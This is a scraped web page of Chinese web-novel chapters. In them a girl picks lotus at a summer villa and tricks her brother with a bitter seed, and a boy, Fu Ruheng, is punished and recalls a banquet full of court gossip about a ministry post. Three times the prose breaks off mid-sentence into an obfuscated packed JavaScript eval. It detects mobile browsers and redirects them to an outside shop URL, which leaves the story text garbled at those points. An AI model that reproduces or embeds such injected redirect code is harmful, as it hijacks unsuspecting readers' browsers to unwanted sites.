现在正是莲藕成熟的季节,盛秋阑盯着一盘凉拌藕片夹了好几次,藕片被切得很薄,入口脆嫩清甜。 别庄里面的管家看出了她的喜爱,笑着说:“这莲藕是今晨刚采的,特别新鲜,小姐若是喜欢明日我们多采一点。” 盛秋阑前几日没有吃多少,脸都瘦了一圈,此时见她终于恢复了平时的胃口,贺兰谨淡笑:“也好。” 用过晚膳之后,几人分别回到自己的院子当中,哪怕管家将山庄的各处特色全都介绍了一遍,他们也没有选择立刻参观,毕竟之后还要在这里呆很长一段时间,不急于这一时。 盛秋阑的院子与她在侍郎府当中的方位相同,都处在西侧。 这些庄园虽然打造时各有特色,但整体结构大差不差,在下午的时候,她就已经熟悉了别庄里面的布局,轻车熟路地回到自己的屋子当中。 碧云和迎春已经将行李全都收拾好了,甚至细心地还原了布局位置,乍一走进去,盛秋阑还以为回到了自己原来的房中。 她随手捞过放在茶几上的一个玩偶,这个玩偶已经陪着她好几年了,是一次去集市的时候看中的。 后来玩偶的针脚断了,里面藏着的棉花露出来,怎么都塞不回去,变得软趴趴的,她还伤心了一下午,结果第二天就发现原本散开的地方已经被密密实实地缝好。 玩偶是小兔子的形状的,当初盛秋阑在集市中一眼就注意到了,外面的绒毛雪白,几乎和言言一模一样。 玩偶坏掉之后,她只跟傅如珩说起过这件事,本来打算过段时间找人重新缝制,没想到一醒来,被修补好的兔子就放在自己的床边。 一双长且柔软的耳朵柔顺地耷在脑袋旁边,被重新修补好的兔子甚至比原来更鼓,像是塞了不少棉花,身子圆润,反而跟后来吃胖之后的言言更像了。 盛秋阑将兔子翻转,仔细观察昨天破损的地方,针线将两边布料缝得严严实实,针脚又密又细,几乎看不出来是重新缝过的,唯有在收尾的地方露出了一个小结。 擅长针线活的人基本都不会犯这种错误,盛秋阑只能想到是傅如珩自己动手的。 想到对方坐在灯光面前,手中按着一个与形象安全不符的兔子玩偶,盛秋阑就有的想笑,似乎是害怕玩偶会再次崩开,傅如珩特地缝了两层,就算用力扯都扯不开。 她习惯睡觉时旁边有东西抱着,于是这只玩偶就一直安稳陪伴她到现在。 盛秋阑捏了捏兔子的耳朵,将它放在床上,床榻铺的是桑蚕丝所制的薄被,刚好适合这种天气,盖在身上清凉舒适。 她今天也累了一天,原本手中还拿着一册话本,结果不知不觉就闭上了眼睛。 碧云无声笑了一下,小心地将掉落在床上的书搁置在一边,让原本半靠的人换了一个更加舒适的姿势。 第二天睡到自然醒的盛秋阑伸了一个懒腰,感受到周身舒适的温度,才想起来自己已经来到了避暑山庄。 不用满头大汗热醒的感觉实在是太好了,她快速穿上自己的衣服,乖巧地坐在凳子上让迎春给自己编头发。 “夫人他们正在水榭中等着。” 盛秋阑来到水榭,果然看到了正在喝茶的娘亲和两位哥哥。 她今天穿着的衣服上面系着一圈小铃铛,跑起来叮叮当当,大老远就能听到响声,知道她不喜欢喝茶,空着的座位面前放着的是一碗酸梅汤,深红色的汤汁醇正,如同琥珀一般,其中还点缀着两颗梅子。 贺兰谨制止了盛秋阑想要端碗就喝的动作:“先吃点糕点垫垫肚子。” 面前摆放的糕点也是以清凉解暑为主,盛秋阑咬了一口绿豆糕,细腻的绿豆伴随着淡淡的甜味,刚好与酸梅汤中和。 贺兰谨轻抿一口茶,见盛秋阑吃得两边脸颊鼓鼓,眼中闪过一抹笑意。 盛秋阑的下巴因为前段时间没怎么吃东西变得更尖了,小时候的婴儿肥随着长大渐渐褪去,出落得更加清丽,皮肤吹弹可破。 “等到日头稍落些要不要去摘莲藕?” 水榭四面通风,旁边就是荷塘。 此时正是荷花盛开的季节,大片的荷叶交错着编织成绿海,在一片绿色之中挺立着几朵淡粉色的荷花,为画面增加啦几分明快,莲藕则隐藏在其中。 盛秋阑对昨天晚上的凉拌藕片念念不忘,正好也没有事,爽快答应下来。 别庄紧靠着山,太阳遮挡得也比较快,得知他们下午要摘莲蓬,下人早早准备好了相关物件,盛秋阑赤着脚走到木船上面,朝向荷叶密集之处荡去。 莲藕处在淤泥之中,需要下水捕捞,这一处水塘虽然不深,但是为了以防万一,盛秋阑还是乘着船过去。 她的目光被荷叶之间的莲蓬吸引, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛承驰原本的力还没有卸,摇摇欲坠的小船差点就要侧翻,幸好船夫有了先见之明,将船桨插在泥中,才避免了悲剧。 刚拔出来的莲藕还沾着底下的淤泥,盛承驰丝毫不知自己刚刚距离落汤鸡只有几秒,得意洋洋地向盛秋阑展示自己的战利品:“怎么样,你哥厉害吗?” “嗯嗯,厉害。”盛秋阑略微敷衍地点头。 在盛承驰和那一株莲藕死磕的功夫,她手上一刻没停,船上又多了好几颗莲蓬头,空余的位子都要塞不下了,就将新摘下来的莲蓬叠在原先的上面。 两个人玩了一下午,原本还满满当当的荷塘被搜刮了一半,到后来盛秋阑手上没有劲了,看着满船的战利品决定收手。 她将沾着草木汁液的手在水中洗了洗,残余的水珠被摔在河塘之中,留下几个小圈。 盛秋阑也不嫌脏,将船上的莲蓬全都拨到一边,留出半个身位,顺势躺了下去,脑袋恰好搁在船尾的位置,底下的船晃晃悠悠,头顶则是一片蓝天。 难得岁月静好,盛承驰见状也不较劲了,学着她的样子躺在船上,只不过他的个头比盛秋阑大得多,委委屈屈地缩在小小的木船之上,显得格外憋屈。 他就着这个难受的姿势没有坚持多久就起身,向船夫要了船桨的使用权,歪心思一动,默默用力让船转了一个圈,最后成功撞上了盛秋阑所在的船。 两条船之间的距离不远,而且他转过来的时候刻意控制过力道,两艘船碰撞之后又拉开了一段距离,最后被旁边生长的荷叶拖住。 盛秋阑感觉到身下一震,坐起身来,一眼就看到因为计谋得逞笑得毫不遮掩的盛承驰。 两人自从上学之后见面次数就减少了,这种玩闹的机会更是少,盛秋阑没有计较,望向对方船上满满当当的莲蓬头。 刚摘下来的莲子没有经过处理,鼓鼓囊囊地生长在莲蓬上。 “之前不是说要吃吗,现在正好。” 盛承驰原本警惕地看着盛秋阑,以防她会有什么小花招来报复,没想到却听到了这一句。 他原本确实听说莲子可以生吃,但是现在正是草木皆兵的时候,盛秋阑一开口,他反而开始怀疑其中有猫腻。 “不用了,我刚才想了想,觉得还是煮莲子汤比较好。” 盛承驰判断着两艘船之间的距离,刚才水波将他们冲散了一点,虽然间距不大,但是盛秋阑应该也不会那么轻易跳过来。 毕竟对方是真的能干出硬往他嘴里面塞莲子这种事的。 盛秋阑没有如他所想那样强迫,反而轻飘飘地放过了这个问题。 “哦。” 盛承驰还在奇怪她怎么会怎么容易就放弃,然后就看见盛秋阑从自己旁边随手拿了一个莲蓬头,从里面抠出一颗莲子,莲子外层的皮很薄,轻易就剥开来了,露出里面嫩白的果实。 没有煮过的莲子很脆,丰富的汁水干净清冽,明明盛秋阑没有做出很夸张的表情,盛承驰却感觉自己突然馋了。 他“咕咚”一声咽下了分泌的口水:“给我也尝尝呗。” 盛秋阑往嘴中塞下最后一颗莲子:“你身边不是有怎么多吗,自己剥吧。” 盛承驰原本有几分怀疑,但是见盛秋阑吃了这么多都没有异常,也就放下了戒心。 他在自己手边挑拣着,试图从这些颜色深浅不一的莲蓬头里面看出区别,但因为先前没有过类似的经验,哪怕瞪大了眼睛,仿佛要将它们看出花来也无济于事。 “挑绿的吧,那个比较熟。”盛秋阑又开了一个莲蓬头,见他在那边犹豫,不经意说道。 听起来有道理。 盛承驰没有起疑心,果断地选了颜色最深的一个莲蓬,它底下还有着一段粗壮的茎,断面整齐。 他照着样子扣下其中一颗,这个莲蓬的外衣比盛秋阑刚刚吃的要深一点,但是盛承驰没作他想。 不就是老一点和生一点吗,应该都一样吧。 里面的芯子都是一样的嫩白色,盛承驰没有怀疑地放入嘴中。 此时观察已久的盛秋阑终于绽开了一抹笑。 43. 回程 不是没有过怀疑,只是盛秋阑当时表现得太自然了,看起来就像是随手说的那样,外加上先前的动作,让盛承驰最后的一份警惕也没有了。 他还真以为是上学让妹妹变得乖巧懂事不记仇了,感情不是不报,是时候未到,而且现在的盛秋阑反而比以前更加沉得住气,憋着坏看他自己上当。 见时间差不多了,船夫撑起杆子朝着岸边驶去,等船停靠在边上,很快就有人上前帮忙把他们摘下来的莲蓬头和莲藕拿去处理。 盛秋阑虽然没有下船,但是手上依旧沾上了莲蓬头上面的污渍,一双白嫩的手心变得脏兮兮的,身上的裙子因为刚刚躺在船上的动作染上了脏污。 她抬起手用袖子擦了擦脸颊,额头上有几根发丝粘在脸上,实在扒拉不下来,只能用手随便一抹,于是在侧脸也多了两个灰灰的手印。 盛承驰看了一眼她现在的样子,指了指盛秋阑的脸颊:“你这边有东西。” “什么?” 盛秋阑恍然不觉,顺着他手指的方向又去摸了一把,于是原本的一枚掌印变成了好几个,交错地叠在白皙的脸上。 她摸索了半天都没有感觉到异样,再一抬眼,盛承驰已经坏笑着退开了几步。 盛秋阑当即意识到自己上当了:“你又耍我。” “这怎么能叫耍你?你看你现在脸颊旁边是不是多了两个黑印子,我也没说错。” 盛秋阑呛他:“你以为你现在就好到哪里去了吗?跟从泥里面出来的一样。” 盛承驰和现在的盛秋阑相比也是半斤八两,甚至看起来还要更狼狈一些。 他爱出汗,哪怕船夫将船停在了阴影处,也依旧因为一下午的体力消耗出了不少汗。外加上拔莲藕的时候毫无顾忌,池水下的淤泥全都溅出来粘在身上,大大小小的泥点落在衣服各处,就连头发上有着棕黑色的不知名物体。 盛承驰先前光顾着嘲笑盛秋阑,此时才有功夫看自己现在的样子。 盛秋阑见他哑口无言,得意洋洋道:“怎么样,嘴里面的苦味散去了没有?” 吃到老莲子之后,盛承驰赶紧将嘴里面的残渣吐了出来,但即便如此,那一股苦涩的味道还是久久地停留在嘴中,无法消散。 上船的时候他想着只是玩一会儿,结果飘在池塘上,连个想喝水的地方都没有,唯有船上这一堆没有剥开的莲藕。 听到盛秋阑这样说,盛承驰仿佛又感觉到了舌根处堪堪压下去的苦味。 “你现在可别想骗我,我是不会再听你的了。” 盛承驰吐掉莲子之后环顾四周,望见环绕在四周的池水欲哭无泪,闭上嘴就是那一股清苦的味道。 他先前看着盛秋阑面色如常地吃下去才会放下警惕性,一边皱着一张脸想要努力忽视口中的苦味,一边不甘心地观察着盛秋阑,试图找出演戏的成分。 就在这么一会儿功夫,盛秋阑又往嘴里面塞了两颗,还刻意发出了大声的咀嚼声。 脆嫩的莲子汁水很多,盛承驰下意识开始咽口水,结果又被苦得一激灵。 两个小主子之间的玩闹,其他人自然不可能参与,但是盛承驰苦着一张脸也不能放任着不管。 船夫见盛承驰先前找水无果的窘状,在一旁悄悄说道:“少爷,要不吃点嫩莲子压一下。” 盛承驰现在一听到莲子两个字就心生惧意,断然拒绝:“不要。” 船夫撑船这么久,自然能够辨别出嫩莲蓬和老莲蓬之间的区别,他望向扔在盛承驰旁边被剥了一半的莲蓬,从旁边的一堆当中挑了一个颜色浅的。 “少爷这样也不是个事,要不再尝尝?” 盛承驰半信半疑,刚刚吐掉的莲子带给他不小的阴影,但若是现在撑船回去也需要好一会儿,手中这个莲蓬确实是唯一的解决方法。 他纠结了一会儿,觉得盛秋阑应该不至于未卜先知到提前收买船夫,最终还是没忍住心中的渴望接下来了。 只是为了这是防止盛秋阑使坏,盛承驰一边剥莲子一边观察后者的反应,仿佛只要盛秋阑表现出一点异样就会把手上的莲蓬扔掉。 盛秋阑一看到他手中的莲蓬颜色就知道接下来看不了乐子了,略显无趣地撇撇嘴,手上又剥了一个白嫩的莲子,对上盛承驰的眼神,挑衅一般将视线从莲子上面一闪而过。 你猜这好不好吃? 解读出她的意思之后,盛承驰确实犹豫了一下,兴许是苦意稍许减退让他重新生出几分勇气,最后还是塞进了嘴里,那个眼神差点让人以为他在吃什么毒药。 尝到口中不同于之前的清爽之后,盛承驰的眉眼间终于放松了,他把一整个莲蓬全都剥完,终于压下了最开始带来的涩意。 “怎么闹成这样?” 两个人互相嘲讽的功夫,贺兰谨过来了,见到两个灰扑扑的人,和早上简直是天差地别。 虽说一般贵族对子女的礼仪颇为看重,但侯府当中没有那么多规矩和制度。见盛秋阑这个样子,贺兰谨也没有多说什么,叮嘱身边的人好好打理之后就让两个人回屋清洗了。 重新换了一身衣服的盛秋阑清清爽爽地来到饭桌面前,晚上的气温比白天低一些,她穿着一身鹅黄色的襦裙,头发末梢还有一点湿,随意地披在肩上,没有任何的点缀,反而让人将注意更多集中在她的面部,衬得整张脸明亮小巧。 今天下午摘的莲藕被切成藕片,整齐地列在白瓷盘当中,下面盛着一圈酱汁,每个人的位置面前还摆着一碗莲子汤。 盛承驰比她早到,正在一边向盛承礼热情推荐手上的生莲子,他语气殷切:“哥,你尝尝这个,可好吃了。” 两个人摘的莲子实在太多,哪怕做了一人一份的莲子汤还是剩下小半,下人正想要处理掉,被盛承驰抢先一步拿走。 事出反常必有妖,更何况光看他这个样子,盛承礼就知道他手上这个莲子肯定有古怪:“不要。” 盛承驰不甘心只有自己被骗,想到盛秋阑之前的套路,有模有样地往自己嘴里塞了一颗,只不过他手上的是早已经替换过的莲子,在嘴里面嚼了两下,刻意张大嘴巴。 “我都吃了,真的好吃。” 盛秋阑没眼看他这么夸张的表演,这么刻意反而更加表明了其中有诈,盛承礼能上当就怪了。 盛承礼的表情有一点松动,就在盛承驰满怀期待地将几颗深绿色的莲子递过去的时候,手腕一把被握住,被迫翻转成手心向上的姿势。 盛承驰:!!! 盛承礼从手心中慢悠悠地将所有浅绿色的莲子搜刮完毕,只余下盛承驰递给他的几颗。 盛承驰藏东西的手段并不高明,盛承礼早就发现了两个不同的颜色。 他顶着盛承驰不可置信的眼神慢条斯理地拨开外壳,将莲子塞在口中之后才慢悠悠道:“确实不错。” 盛承驰就算再傻也看出大哥在耍自己了,手上剩下的生莲子全都被拿走了,唯有发苦的还在手上。 盛承礼看到他略显扭曲的表情,刻意装作惊讶:“你不吃了吗?” “不吃了。” 盛承驰将手上的莲子一把拍在桌子上,圆滚滚的身体在桌子上面滚动了几圈,引得一众人发笑。 侍郎府一行人在避暑山庄里面呆了一个月,过了京城最热的时间,终于冲洗出发回程。 现在的天气虽然不像之前那么炎热,但是在凉爽的庄子里待久了,回去之后终究还是会觉得不适应。 联想到盛秋阑怕热的体质,贺兰谨原本是想要让她再待几天,等到热意彻底降下来再回去,却被盛秋阑拒绝了。 “你们都不在,我一个人也无聊。” 她撒娇一般靠在贺兰谨身上,后者很快就忘了最开始的想法。 “这不是怕你热吗,既然阑阑自己说要回去,那之后可不准嫌这嫌那的。” 盛秋阑回去之后,碧云和迎春正在收拾带过来的行李,其他零零碎碎的东西全都装起来了,只留下被褥和那一个兔子玩偶。 留在山庄里面的日子固然愉快,但是盛秋阑却总有种空落感,仿佛缺少了什么,直到知道明天就要回去之后才重新提起了精神。 自从记事开始,她和傅如珩就没有分开过这么久。 上学的时候就不说了,就算放假了也是抬头不见低头见,哪怕过年的时候都能够偷溜出来,像现在这种一个多月都没有碰过面的情况还是头一次。 “碧云,莲子糕装了吗?” “特意装在食盒里了。” 碧云手脚利落地将手上的衣服放在箱笼里,盛秋阑得知马上要回去之后特意叮嘱厨子做了一大盒莲子糕,说是要带回去。 莲子里面发苦的是莲心,挖去之后就没有苦味了。 做出来的莲子糕莹白细腻,边缘切得很整齐,还散发着莲子香,不管是刚出炉还是冰镇之后都各有风味。 “只是小姐想吃的话府上也能做,这样打包之后口感可能会稍逊一些。” “我就要这个。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356946|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她亲手摘的,怎么会一样? 就算再难吃傅如珩也要给她咽下去。 盛秋阑想得很简单,她在出发之前没有见到傅如珩,现在都在山庄里面呆了这么久,就算有再多的事情也应该结束了,总不能一面都见不到。 第二天用完早膳之后,一行人就出发了,碧云将被褥收进箱子当中,面对已经塞得满满当当的箱子犯了难。 他们来的时候带的东西都是刚好的,现在回去之后又添了不少物件,以至于剩下的容量不够了,那一个被盛秋阑睡觉时随身抱着的兔子玩偶孤零零立在床边。 “那我拿着吧。” 盛秋阑一手将兔子夹在怀中,捏了捏它的耳朵。 说起来出来这么久,她已经很久没有看见兰兰和言言了,也不知道这两只怎么样了。 车队行了半日,回到府中之后又是一顿忙碌。 盛秋阑趁着其他人整理的功夫,跑到了兔子所在的草地上。 虽然大部分下人都跟着来到了山庄,但是府中还是留下了一部分人维持运转,两只兔子被喂得膘肥体壮,远远望去就像两只雪球。 兰兰虽然刚被送过来的时候有些瘦弱,但是经过精心饲养,两只兔子早已经看不出来了体型差距,比起当初呆在笼子里面的小巧可爱又多了几分圆润。 它们在府中被照顾惯了,见到许久没有见的盛秋阑一点都没有欢迎的态度,丝毫没有面对金主的觉悟,任凭盛秋阑怎么叫它们的名字都是一副爱答不理的样子。 “这两耳朵生这么大是用来装饰的吗?” 哪怕早就知道它们的德行,见到这种情景,盛秋阑还是没忍住磨牙齿。 一旁看顾的人没忍住笑了一下,上前道:“小姐不如喂些东西给它们吃?” 盛秋阑接过它们常吃的叶子,在面前晃了晃,有食物在前面,两兔顿时放下了刚才的散漫和矜持,屁颠屁颠地跑过来了。 它们身上柔软的毛覆盖全身,因为身子过于大了,以至于四条腿变得过于短小,跑过来的时候几乎要看不见。 在它们垂着头吃菜叶的时候,盛秋阑顺手揉了揉它们的身体。 被喂养得极好的兔子比当初还要圆润,软毛亲密地贴在掌心当中,还有不少从指缝之间窜出来。 都是认吃不认人的主,它们原先还一副高冷的样子,现在看在菜叶子的面子上,还是乖乖地让盛秋阑揉了好一顿。 言言要稍微更亲近一点,此时终于发现盛秋阑才是自己原本的主人,想起来自己在谁的地盘上,亲昵地蹭了蹭。 “现在记起来我了?” 盛秋阑默默吐槽,用食指轻轻抵了抵它的额头。 她虽然有两只手,但是依旧不能照顾到两只,摸了言言之后兰兰就只能在一边看着。 “谁让你们另一个爹没来呢?” 盛秋阑忙着两边照顾,一边冲着两小只告状。 “这么久都没有来看你们,还是我好吧,也不知道傅如珩在忙什么,连个面都见不到。” 兰兰和言言动了动耳朵,表示不关它们的事,在原地乖乖坐了一刻钟,就重新恢复了自己的本性,不耐烦地离开盛秋阑的魔爪,一转身跑走了。 维护完母女之间的感情,盛秋阑重新回到房中,有事情做的时候还好,一旦无事可做了,她就免不了要想起从回到府中到现在一直没有见过的人。 房间内的物品已经一一摆放完毕,盛秋阑捞过放在枕头旁边的兔子玩偶,力道略重地捏了捏。 “连忙什么都不肯跟我说一下,还是不是朋友了。” 现在正是寻常人家用晚膳的时间,盛秋阑郁闷了一会儿就径直从床沿边上跳下来。 傅如珩没来找她,她就去自己去找,还真就不信了,这次也见不到人。 “碧云,我那盘莲子糕在哪?” “在后厨冰着呢,只是马上要用晚膳了,现在吃的话一会儿就吃不下了,小心夫人责怪。” “不会的,不是我自己吃。” 为了防止莲子糕在高温中化掉,糕点们被小心地装到白盘中,用井水和冰块冻着。 盛秋阑将糕点全都装到木质食盒当中,正拎起把手想要出门,却发现原先还一片亮白的天突然变得阴沉,乌云遍布,笼罩住了整个京城。 “轰隆。” 盛秋阑左脚刚刚踏出门槛,天边闪过一道闪电,亮如白昼,眼前明亮了一瞬之后又很快暗下去,大雨倾盆而下,直接阻断了她出去的脚步。 44. 反常 夏季的天变得很快,按照往常来说还远没有到太阳下山的时候,但是因为此刻乌云覆盖,倒已经有了天黑的样子。 傅如珩坐在一间漆黑的屋子当中,说是坐也不太准确,因为只有他的膝盖着地,其他部位全都刻意避开了,全身的重量全都集中在下半身。 屋子的面积相比起杂物间还要小上几分,一个人坐在其中就已经占了一半的空位。 他已经在这里待了一整天了,小屋没有窗子,所以没有办法判断出此刻的时辰,只能透过门缝当中露出来的光粗略估计时间。 外面的天色渐渐暗下来,门缝下透出来的光也逐渐减少,直到与屋内的黑暗融为一体。 傅如珩一整天没有吃东西,仅仅在中途喝了几口凉水,胃中空荡荡的,隐约开始难受地灼烧。 如果仔细看,他身上穿着的衣服下隐隐透出来点点血迹,呈现出深红色,但即便这样也没有人来换药。 磨人的痛意和饥饿消耗着人的意志,傅如珩只能够放空思绪,让自己不把注意放在这方面。 他前段时间忙得脚不沾地,不是没有想过与盛秋阑知会,只是早出晚归,等他回到侯府当中已经夜深,就算有心也不好叨扰,留下字条则显得太过正式,等到抽出空来才发现对方一行人已经搬去避暑山庄了。 傅鸿元不知出于什么心思,近几次宴会开始频频带上他,虽然在这些高官层级中这事并不算稀奇。即使还有几年才能开始科举,但现在开始打通人脉、在别人面前混个眼熟也是稀疏平常的。 可为什么是他? 这些宴会都不是一般人能够参加的,举办宴会的主家只在正式宴会的时候出面,其余时间并不会过多管束,默许几户人家借此机会交流,一些拉帮成派也都是在这个时候有了苗头。 虽然几位人精在面上不会做得很明显让人留下把柄,大多都是说些不痛不痒的话,但若是搭上了联系,在以后都是助力。 如此千载难逢的机会,在场的人也不傻,大多都是选择自己的嫡子出面,就算不是嫡子,也是颇为看重的接班人,这些都是约定俗成的规矩。 不管怎么算,按照傅鸿元先前不闻不问的样子,都不应该轮到傅如珩。 他自然不会天真地以为傅如珩是突然发现开始看重他了,依照其他人暗中打量的眼神来看,事情也没有这么简单。 傅如珩早已经不是年仅几岁的小孩了,处在暗波流动的京城之中,哪怕周围环境相对简单,但他也不是什么都不懂的人,甚至于他比其他同龄人更能观察别人的眼色,一举一动传递出来的信息都在不动声色间收入眼底。 这种私人举办的宴会规模不是很大,在座的各位大多也只带了一个孩子,偶有个别的身边跟着两位,但也是主次分明,能够清晰地看出两人之间的身份差距,这不但不能打消傅如珩的疑虑,反而让他更加开始怀疑傅鸿元带他过来的目的。 他的生母身份不明,不能给傅鸿元带来助力,如果一定要细究原因,那就只剩下他玩得好的几位了。 盛秋阑和长孙胜就不必多说,依照林辞殊平常的言行举止来看想必也不可能是出生在普通的文官人家当中,更何况她还掌管着京城中大部分的书铺。 若是傅鸿元是因此才会带上他,倒不是不可能。 思及此,傅如珩本就表情不多的脸上更是添了几分冷意,看着面前觥筹交错的人愈发厌倦。 “小公子平日话好像不是很多?” 他跟在傅鸿元的身后,看着两人举杯之后,另一个人笑着望向在一边的他。 “拙子不善言辞,不过做事还算妥当,倒也交了几个知心朋友。”傅鸿元瞥了他一眼,话语中滴水不漏。 “三两好友便已足够,若是多了反倒成了泛泛之交。” 那人像是随口提起,顺着他的话接了下去,轻飘飘地略过这一茬。 主家邀请人的时候存了别的心思,能够聚集在这里的或多或少都有着一点联系,虽然心思各异,但在你来我往之间还是会透露出不少消息。 虽然傅鸿元之前将话圆了过去,但是傅如珩还是没有错过他一瞬间的异样,知道自己之前的分心已经让他不满了,在接下来和人攀谈中收敛了几分。 不管是举止还是言行都让人挑不出错处,傅鸿元这才换了脸色。 相比起寻常宴会,这里的娱乐项目明显少了一点,宴会上面的菜肴精致,但是这些人明显没有将心思放在吃饭上面,倒是带来的小辈们吃了不少。 从小就被带入这种场合,他们明显已经厌倦了。 见自己父亲与其他人攀谈一些朝堂之中的消息,他们面上露出兴致缺缺的表情,颇为无趣地站在一边,唯有被提到名字的时候才会强打起精神。 傅如珩跟在旁边,他们之间的交流声音虽然不大,但是也没有背着旁人,皆数传进了耳中。 他心知这是不可多得的机会,不管傅鸿元是出于何种心思,对他来说这种消息都是珍贵且有利的。 只是傅鸿元这个老狐狸自然不会不懂这个道理,虽然也提到了朝堂当中的各种人员变动或是最新消息,但因为他并不熟悉那些名字,所以有些消息即便传到耳中,也无法完全对应起来。 若是表现得太过关注会引起警惕,但如果和其他小辈一样漠不关心也不合礼数,按照傅鸿元这种多疑的性子,想要把握这种分寸并不容易,但是傅如珩却表现得非常从容。 与其他同龄人相比,这种进退有度的行为高下立见,在座的眼光如炬,很快就有人笑着说:“令郎当真教养有方。” 傅鸿元同样端着客套的笑:“兄台言笑了,听闻您最近刚刚高升,恭喜恭喜。” “只不过是机缘巧合,之后还要侯爷互相扶持。” 大约是提到了高兴事,那人脸上的笑容大了几分,就连语调也止不住地上扬。 他现在喝了几杯酒,虽然不至于到喝醉的地步,但也有些微醺,聊到兴头上免不了开始显现自己的消息灵通。 “听说现在的那位户部林尚书年岁已高,如今精力多有不击,恐怕用不了多久就要上述请辞了。” 车轱辘话来来回回,说的都是一些人尽皆知的事情,这个消息倒算是新鲜,想必也是这几日才传出来的风声。 傅鸿元笑容不变,语气中倒是带了几分恰到好处的好奇:“哦,是吗?那等到林尚书退下之后,想必又有一批人要提上来了。” “那当然,这个尚书位置也有不少人盯着,”这个消息并不算秘密,有心人稍微打听一下就能够知道,所以那人也没有过多遮掩,“只不过最后是谁来坐,这就不好说了,总归要看上面的意思。” 他望了望周围,稍微错开了一步:“不过要我看,可能性最大的还是两位户部侍郎,如果不出意外的话就是在他们两人中间选。” 现任的两位户部侍郎,一位是盛怀德,另一位侍郎已经相近六十岁,在这个位置上待了七年。按照年纪和资历来说,林尚书退位之后应当提拔他上位,但是按照目前的情况,这个结果还不确定。 当今圣上对盛怀德的看重有目共睹,先前未到四十就已经做了户部侍郎,在这个位置上坐了三年之后又被调任去了工部,在相同的位置上待了两年,又因为其他地方的地方官有了疏漏,被皇上亲自下旨,派去做了五年的巡抚。 单论他头顶上的功绩和这数年来得来的赏赐就已经比同等年龄的其他官员高上不少,重新回到京城之后,盛怀德依旧坐回了户部侍郎的职位,因为上面的林尚书迟迟不升官,又没有到致仕的年龄,所以才耽搁到现在。 另一位侍郎就算升到尚书,估计也只能在这个职位上一直等到致仕年纪,再也不会有更多的突破,但是盛怀德正当壮年,升上尚书之后很可能还能再进一步,成为皇帝的心腹。 这其中的种种龌龊,大家心知肚明,但是圣心不好揣测,即便私下里对两种可能有所权衡,也不好在明面上说出来。 这些消息虽然不算什么秘密,但是也不是寻常人家能够知道的,像傅如珩平日里待在学堂,偶然才被带来宴会,更是头一次听说。 喝得微醺的人终究还是留了几分理智,没有在傅鸿元面前评头论足,但是光从他的语气之中也能听出他的内心倾向和微妙的嫉妒。 毕竟这个年纪就能够取得如此成就,不光是盛怀德本人,就连他的后代都值得另看一眼。 傅如珩错开了几步,这种消息对于其他人来说可能只是时间早晚的区别,但是他没有这种渠道,只是稍微透露一点就已经足够重要,更何况这次还关系到盛家。 “不管怎么样,等到圣上旨意下来,都要去那位新尚书那儿好好拜访一番。” “那是自然,听说那位盛家刚好在侯府对面?” 傅鸿元一笑:“凑巧罢了,不过小辈之间关系比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366766|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧密。” 傅鸿元又与他寒暄了几句,确定没有更多的信息之后重新倒了满满一瓶酒,与下一个人攀谈。 他目标明确地走向了一位站在台边的中年男人,后者穿着一身深紫色的圆领袍,相较于其他三三两两站着的人来说,与他攀谈的人就少了一些。 傅如珩费这么大功夫来参加这个宴会,自然不是单纯与这些人寒暄,刚才那人带来的小道消息可以说是意外之喜,却不是重头戏。 他早已经打听过了,这位看似平常的中年男人是内阁的大学士,虽然按照官位来说只是五品,与宴会中的其他人相比只能说是一般,但毕竟隶属内阁,他想要的消息应该能知道不少。 这位大学士原本在一旁乐得清静,见傅鸿元径直朝自己走过来,慌忙起身,毕恭毕敬地行了一个礼。 即便当今皇上对于侯府不像先前那么看重,甚至隐隐还有削弱权力的趋势,但是侯府家的嫡次女进入后宫还生下了二皇子,从明面上来看,侯爷还是地位尊贵,不是他一个大学士能够怠慢的。 只不过看傅鸿元走过来的架势,这一趟明显不是心血来潮,自己顶多只能算个内阁的大学士,也不知道有什么事值得他亲自过来。 那人内心惴惴,端起一副恭维的笑:“侯爷。” 他内心没有底,单看傅鸿元的脸色也瞧不出其中内容,暗自决定等到对方开口再静观其变。 两个人就一些无关紧要的事情聊了几句,傅鸿元突然将话题转到了另一个方向。 他的语气听起来很寻常,像是随口一问:“对了,听说太子最近好像到了内阁?” 看来就是这件事了。 大学士心下已经有了论断,谁不知道二皇子与太子之间的暗波涌动,侯府作为二皇子的母家,自然是暗自全力相助,前不久太子离开东宫开始正式接触朝政,来到的就是他们内阁。 两位皇子之间年岁相差不大,当今圣上也有意锻炼,不过太子因为年数稍大,所以先于二皇子开始接触政务。虽然由于此时年纪尚小,他也只能够在一边旁听,但是光看他获得了进入内阁的资格,就已经体现出皇帝对他的培养了。 反观二皇子,虽然能力也不算差,但是终究比不上太子,至今还在翰林院学习,作为支持他的侯府自然是心焦。 内心快速判断完,大学士笑着说:“确有此事。” 他的身份敏感,虽然参加了这种私人宴会,但是为了避嫌也需要早早离席,可他既然最开始答应了,自然也有自己的心思。 